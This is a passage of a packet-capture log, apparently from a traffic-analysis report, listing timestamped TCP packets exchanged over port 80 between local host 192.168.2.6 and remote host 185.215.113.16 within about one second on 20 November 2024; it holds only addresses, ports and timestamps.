Nov 20, 2024 08:12:40.983715057 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.983715057 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.983741999 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.983870029 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983881950 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983892918 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983905077 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983917952 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983926058 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.983931065 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983942986 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983951092 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.983956099 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983968019 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983988047 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.983989000 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.984158993 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.984169960 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.984177113 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.984183073 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.984189034 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.984194994 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.984200954 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.984206915 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.984219074 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.984230995 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.984276056 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.984432936 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.984457016 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.984484911 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.984498024 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.984565973 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.984576941 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.984586000 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.984596014 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.984610081 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.984617949 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.984734058 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.984743118 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.984754086 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.984766960 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.984780073 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.984792948 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.984803915 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.984814882 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.984824896 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.984824896 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.984882116 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.984894037 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.984905958 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.984929085 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.984929085 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.984976053 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.985011101 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.985023022 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.985034943 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.985047102 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.985058069 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.985064983 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.985073090 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.985085011 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.985091925 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.985097885 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.985126972 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.985126972 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.985408068 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.985449076 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.985456944 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.985470057 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.985538960 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.985552073 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.985563993 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.985577106 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.985604048 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.985604048 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.985702038 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.985719919 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.985732079 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.985743046 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.985753059 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.985753059 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.985754967 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.985768080 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.985780954 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.985784054 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.985793114 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.985806942 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.985831022 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.985831022 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.985887051 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.985920906 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.985969067 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.985981941 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.985992908 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.986005068 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.986016989 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.986026049 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.986038923 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.986052990 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.986064911 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.986068964 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.986068964 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.986078024 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.986143112 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.986377954 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.986413956 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.986424923 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.986510992 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.986521959 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.986532927 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.986543894 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.986543894 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.986546040 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.986581087 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.986581087 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.986605883 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.986618042 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.986629963 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.986649990 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.986821890 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.986834049 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.986845970 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.986856937 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.986864090 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.986870050 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.986882925 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.986893892 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.986901045 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.986901045 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.986917973 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.986931086 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.986942053 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.986953974 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.986963034 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.986963034 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.987034082 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.987046003 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.987059116 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.987085104 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.987085104 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.987106085 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.987121105 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.987138033 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.987380981 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.987392902 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.987406015 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.987442017 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.987442017 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.987478018 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.987489939 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.987502098 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.987514019 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.987545967 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.987548113 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.987548113 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.987586975 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.987598896 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.987644911 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.987658024 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.987669945 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.987682104 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.987682104 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.987682104 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.987878084 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.987890005 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.987899065 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.987901926 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.987915039 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.987926006 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.987930059 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.987941027 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.987943888 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.987957001 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.987968922 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.987979889 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.987992048 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.988003016 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.988003016 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.988003969 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.988018036 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.988039970 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.988039970 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.989306927 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.989350080 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.989366055 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.989377975 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.989392042 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.989485979 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.989512920 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.989523888 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.989536047 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.989547968 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.989556074 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.989561081 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.989573956 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.989598036 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.989598036 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.989624023 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.989634991 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.989648104 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.989691019 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.989691019 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.989834070 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.989845991 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.989856958 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.989867926 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.989881992 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.989881992 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.989893913 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.989907980 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.989918947 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.989931107 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.989939928 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.989939928 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.989942074 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.989955902 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.990034103 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.990071058 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.990071058 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.999836922 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.005532026 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.005604982 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.005618095 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.005631924 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.005644083 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.005656958 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.005702972 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.005702972 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.005712986 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.005727053 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.005739927 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.005753040 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.005767107 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.005780935 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.005796909 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.005796909 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.005897999 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.005914927 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.005927086 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.005940914 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.005950928 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.005950928 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.006104946 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006109953 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.006117105 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006135941 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006148100 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006160975 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006172895 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006185055 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006192923 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.006192923 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.006196976 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006211996 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006222963 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006234884 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.006234884 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.006297112 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.006432056 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006443977 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006454945 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006460905 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006473064 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006484032 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006494045 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.006495953 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006509066 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006522894 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006534100 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006547928 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006558895 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.006558895 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006558895 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.006613970 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.006613970 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.006742001 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006755114 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006766081 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006777048 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006788015 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006799936 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006812096 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006814957 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.006824017 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006844044 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006854057 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.006854057 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006854057 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.006867886 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006880045 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006890059 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006896019 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.006896019 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.006905079 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006917000 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006928921 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.006932974 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.006968021 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.006968021 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.007364988 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.007376909 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.007388115 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.007399082 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.007411003 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.007417917 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.007422924 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.007435083 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.007447004 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.007458925 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.007458925 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.007464886 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.007477999 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.007491112 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.007500887 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.007512093 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.007513046 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.007513046 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.007524967 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.007536888 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.007550001 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.007564068 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.007570982 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.007570982 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.007577896 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.007592916 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.007602930 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.007615089 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.007616997 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.007616997 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.007627964 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.007639885 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.007651091 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.007662058 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.007669926 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.007669926 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.007673979 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.007687092 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.007906914 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.008081913 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.008091927 CET	80	49833	185.215.113.16	192.168.2.6
